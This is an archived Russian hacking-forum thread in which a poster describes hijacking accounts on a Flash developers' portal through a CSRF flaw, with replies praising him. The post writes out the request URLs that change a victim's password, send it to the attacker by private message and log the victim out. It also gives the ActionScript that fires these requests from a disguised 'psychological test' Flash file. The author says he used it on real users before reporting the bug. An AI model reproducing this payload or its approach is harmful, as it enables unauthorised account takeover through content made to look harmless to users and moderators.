Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Взлом без единого клика

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Взлом без единого клика
Имя
Сообщение << Старые топики   Новые топики >>
Взлом без единого клика - 2012-05-06 11:15:21.136666   
GothX

Сообщений: 263
Оценки: 20
Присоединился: 2011-06-22 13:27:08.173333
Данный текст не претендует на отдельную статью, да и не было у меня такой цели, я просто хотел показать, как можно просто, но элегантно решать некоторые задачи со взломом.

I. Лирическое отступление.
История эта берет начало еще в далеком 2006 году, когда я увлекся программированием на Actionsсriрt, зарегистрировался на одном уютненьком портале флеш-разработчиков (где и поныне состою). Чуть позже я начал изучать азы информационной безопасности, и почти сразу же нашел на том портале довольно нестандартную SQL-инъекцию, о чем сообщил администратору. После этого мы с ним начали довольно тесно и хорошо общаться, и время от времени я давал ему советы по исправлению багов на его сайте.
Не так давно движок того сайта был полностью переписан с учетом всех моих рекомендаций; админ сказал мне, что теперь его крепость неприступна, но я лишь улыбнулся в ответ…

II. Изучение цели.
Естественно, искать банальные инъекции уже не было смысла. Да даже если бы и нашел, вряд ли бы она мне помогла, поскольку я сам рекомендовал админу шифровать пароли как-нибудь половчее, вроде md5('ololo'+password).
Немного изучив новый, с нуля переписанный сайт, я понял, что добрая половина функционала запилена на jаvаsсriрt-е. Мучаясь похмельем, тыкая в клавиатуру одним пальцем я, особо ни на что не надеясь, забил в гугл поисковый запрос:

site:XXXXX.ru inurl:"*js"
Тут же я лицезрел результат зпроса:

http://XXXXX.ru/js/XXXXX.js?21
Перейдя по этой ссылке, я увидел js-код, в начале которого скромно был приписан коммент админа:

// модуль обмена данными с jsgate.php
Модуль по размерам был довольно внушительным, написанным на славу. Но здесь я приведу лишь одну функцию, которая нам будет наиболее интересна:

user_profile_edit : function(){ return this.query('User.profileEdit', dom.values(['uname', 'ucity', 'ugender', 'ubirthday', 'uicq', 'uvk', 'usite', 'uskype', 'utwitter', 'uautograph', 'f_image', 'upass'])); }
Как видим, это функция редактирования профиля юзера данного сайта. Но не столько интересны данные этого профиля, сколько последний параметр: upass :)
Чтобы пронаблюдать действие данной функции в деле, я залогинился на сайте, запустил сниффер и поменял в своем профиле пароль. Сниффер любезно выдал мне получившийся POST-запрос:

http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD
Ну что ж, тут вроде всё ясно. В наших руках оказалась практически неограниченная власть над местными юзерами :) Но как заставить пользователей переходить по таким ссылкам? Можно, конечно, подсовывать ссылку на блоге сайта, маскируя ее подобным образом:

[url http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD]goooogle.com[/url]
Но модераторы и админ не такие уж и тупые, а значит быстро спалят фишку.
Да еще ведь нужно узнать, кто именно переходил по ссылке, желательно бы поставить рандомные пароли, чтобы никто умный не смог вовремя спохватиться.
Вобщем, еще немного поковырявшись в js-коде, я смог составить несколько запросов, которые полностью удовлетворяли бы моим потребностям:

http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD //Собственно, меняем пароль юзера http://XXXXX.ru/jsgate.php?m=PM.send&mtext=PASSWORD&id=MyID //Этим запросом юзер посылает от своего имени мне в личку сообшение с паролем, отсюда же я узнаю, кто именно перешел по ссылке (где MyID - id моего логина) http://XXXXX.ru/jsgate.php?m=User.logout //Выход юзера из-под своего логина. То бишь - прощай! :)
Всё хорошо, но теперь задача усложняется - надо впарить целых три ссылки, да еще одновременно. Но как?

III. Реализация.
Надеюсь, вы еще не забыли, что этот сайт - портал флэш-разработчиков ;) То есть, все что нам нужно - это запилить какую-нибудь простенькую флэшку, которую беспечный модератор одобрит (не проверяют ведь они каждую флэшку сниффером) и выставит на главную страницу (значит, флэшка не должна быть уж совсем унылой :)).
На скорую руку создав во флэше что-то вроде психологического теста, я забил на первый же кадр флэшки следующий код Actionsсriрt:

var loader:LoadVars = new LoadVars(); loader.load("http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD", 'POST'); var loader1:LoadVars = new LoadVars(); loader1.load("http://XXXXX.ru/jsgate.php?m=PM.send&mtext=PASSWORD&id=MyID", 'POST'); var loader2:LoadVars = new LoadVars(); loader2.load("http://XXXXX.ru/jsgate.php?m=User.logout", 'POST');
Далее выложил эту флэшку на сайт, дождался ее одобрения модератором, наловил свеженьких аккаунтов и устроил хаос в блоге :) Немного повеселившись, сообщил о "баге" админу, а он в свою очередь прикрыл дырку. Правда, не очень хорошо как-то прикрыл, но это уже совсем другая история.


Вот такой вот творческий подход к взлому :)
Post #: 1
RE: Взлом без единого клика - 2012-05-06 13:09:02.613333   
scremma

Сообщений: 792
Оценки: 12
Присоединился: 2011-03-13 10:02:42.923333
Реализовано замечательно.
Post #: 2
RE: Взлом без единого клика - 2012-05-07 09:31:40.120000   
Brz

Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
Тянет на полноценную статью. (в журнал).
Post #: 3
RE: Взлом без единого клика - 2012-05-07 18:15:12.920000   
LeGoLaZZZ

Сообщений: 741
Оценки: 202
Присоединился: 2011-06-05 19:53:53.613333
Молодец!
Post #: 4
RE: Взлом без единого клика - 2012-05-07 18:30:11.973333   
rango_topovich

Сообщений: 64
Оценки: 0
Присоединился: 2012-05-06 15:36:50.913333
а я не понял про фразу "Взлом без единого клика" - ты разьве использовал вместо клавиатуры голосовые команды?
Post #: 5
RE: Взлом без единого клика - 2012-05-07 18:49:43.773333   
jdam

Сообщений: 199
Оценки: -20
Присоединился: 2012-03-11 01:34:16.840000
нет он использовал телепатию
Post #: 6
RE: Взлом без единого клика - 2012-05-08 09:09:51.986666   
GothX

Сообщений: 263
Оценки: 20
Присоединился: 2011-06-22 13:27:08.173333
quote:

а я не понял про фразу "Взлом без единого клика" - ты разьве использовал вместо клавиатуры голосовые команды?

Имелось в виду, что непосредственно угон аккаунтов происходит вообще без участия взломщика.
Post #: 7
RE: Взлом без единого клика - 2012-05-08 12:51:31.670000   
rango_topovich

Сообщений: 64
Оценки: 0
Присоединился: 2012-05-06 15:36:50.913333
аа, вот это отдохнула клавиатура!
Post #: 8
Страниц:  [1]
Все форумы >> [В Сети] >> Взлом без единого клика







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.